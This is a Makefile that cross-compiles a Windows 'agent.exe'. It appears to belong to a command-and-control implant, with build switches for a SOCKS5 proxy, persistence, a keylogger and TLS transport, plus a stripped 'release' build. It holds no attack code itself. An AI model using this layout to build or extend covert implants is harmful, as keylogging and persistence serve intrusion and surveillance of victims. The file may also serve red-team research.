111 lines
2.7 KiB
Makefile
111 lines
2.7 KiB
Makefile
# Compiler and flags
|
|
CC = x86_64-w64-mingw32-gcc
|
|
LDFLAGS = -lws2_32 -liphlpapi -static
|
|
INCLUDE_DIR =
|
|
SRC_DIR = .
|
|
OBJ_DIR = obj
|
|
BIN_DIR = .
|
|
EXEC = $(BIN_DIR)/agent.exe
|
|
|
|
# Define default flags
|
|
CFLAGS = -flto -Os -DTESTING_BUILD
|
|
|
|
# Define feature flags
|
|
USE_WOLFSSL = TRUE
|
|
ENABLE_PROXY = FALSE
|
|
ENABLE_PERSISTENCE = FALSE
|
|
ENABLE_KEYLOGGER = FALSE
|
|
|
|
# Basic source files (always included)
|
|
SRC_FILES = \
|
|
agent.c \
|
|
|
|
# Add proxy files conditionally
|
|
ifeq ($(ENABLE_PROXY),TRUE)
|
|
CFLAGS += -DENABLE_PROXY=TRUE
|
|
SRC_FILES += socks5_server.c socks5_agent.c
|
|
else
|
|
CFLAGS += -DENABLE_PROXY=FALSE
|
|
endif
|
|
|
|
# Add persistence conditionally
|
|
ifeq ($(ENABLE_PERSISTENCE),TRUE)
|
|
CFLAGS += -DENABLE_PERSISTENCE=TRUE
|
|
SRC_FILES += persistence.c
|
|
else
|
|
CFLAGS += -DENABLE_PERSISTENCE=FALSE
|
|
endif
|
|
|
|
# Add keylogger conditionally
|
|
ifeq ($(ENABLE_KEYLOGGER),TRUE)
|
|
CFLAGS += -DENABLE_KEYLOGGER=TRUE
|
|
SRC_FILES += keylogger.c
|
|
else
|
|
CFLAGS += -DENABLE_KEYLOGGER=FALSE
|
|
endif
|
|
|
|
# Add transport implementation based on USE_WOLFSSL
|
|
ifeq ($(USE_WOLFSSL),TRUE)
|
|
CFLAGS += -DUSE_WOLFSSL=TRUE
|
|
LDFLAGS += -L./lib/wolfssl-compiled/lib -lwolfssl -lcrypt32
|
|
INCLUDE_DIR += -I./lib/wolfssl-compiled/include
|
|
SRC_FILES += transport_wolfssl.c
|
|
else
|
|
CFLAGS += -DUSE_WOLFSSL=FALSE
|
|
SRC_FILES += transport_tcp.c
|
|
endif
|
|
|
|
# Generate source file paths
|
|
SOURCES = $(addprefix $(SRC_DIR)/, $(SRC_FILES))
|
|
|
|
# Object files from source files
|
|
OBJECTS = $(SOURCES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o)
|
|
|
|
# Create output directories if they don't exist
|
|
$(shell mkdir -p $(OBJ_DIR) $(BIN_DIR))
|
|
|
|
# Default target: Compile and link everything
|
|
all: $(EXEC)
|
|
|
|
# Link the object files into the final executable
|
|
$(EXEC): $(OBJECTS)
|
|
$(CC) $(OBJECTS) -o $(EXEC) $(LDFLAGS)
|
|
|
|
# Compile each .c file into a .o object file
|
|
$(OBJ_DIR)/%.o: $(SRC_DIR)/%.c
|
|
$(CC) $(CFLAGS) $(INCLUDE_DIR) -c $< -o $@
|
|
|
|
# Build with size optimization
|
|
size-opt: CFLAGS += -ffunction-sections -fdata-sections
|
|
size-opt: LDFLAGS += -Wl,--gc-sections -s
|
|
size-opt: clean all
|
|
@echo "Built with additional size optimizations"
|
|
|
|
# Build without testing code
|
|
release: CFLAGS := $(filter-out -DTESTING_BUILD,$(CFLAGS))
|
|
release: clean all
|
|
@echo "Built release version (no testing code)"
|
|
|
|
# Clean up object files and the executable
|
|
clean:
|
|
rm -rf $(OBJ_DIR)/*.o $(EXEC)
|
|
|
|
# Optional: Run the program after building
|
|
run: $(EXEC)
|
|
./$(EXEC)
|
|
|
|
# Show current configuration
|
|
info:
|
|
@echo "Build configuration:"
|
|
@echo " USE_WOLFSSL: $(USE_WOLFSSL)"
|
|
@echo " ENABLE_PROXY: $(ENABLE_PROXY)"
|
|
@echo " ENABLE_PERSISTENCE: $(ENABLE_PERSISTENCE)"
|
|
@echo " ENABLE_KEYLOGGER: $(ENABLE_KEYLOGGER)"
|
|
@echo " Testing build: $(filter -DTESTING_BUILD,$(CFLAGS))"
|
|
@echo " Source files: $(notdir $(SOURCES))"
|
|
@echo " CFLAGS: $(CFLAGS)"
|
|
|
|
install:
|
|
@echo "Install target not implemented."
|
|
|
|
.PHONY: all clean run info install size-opt release |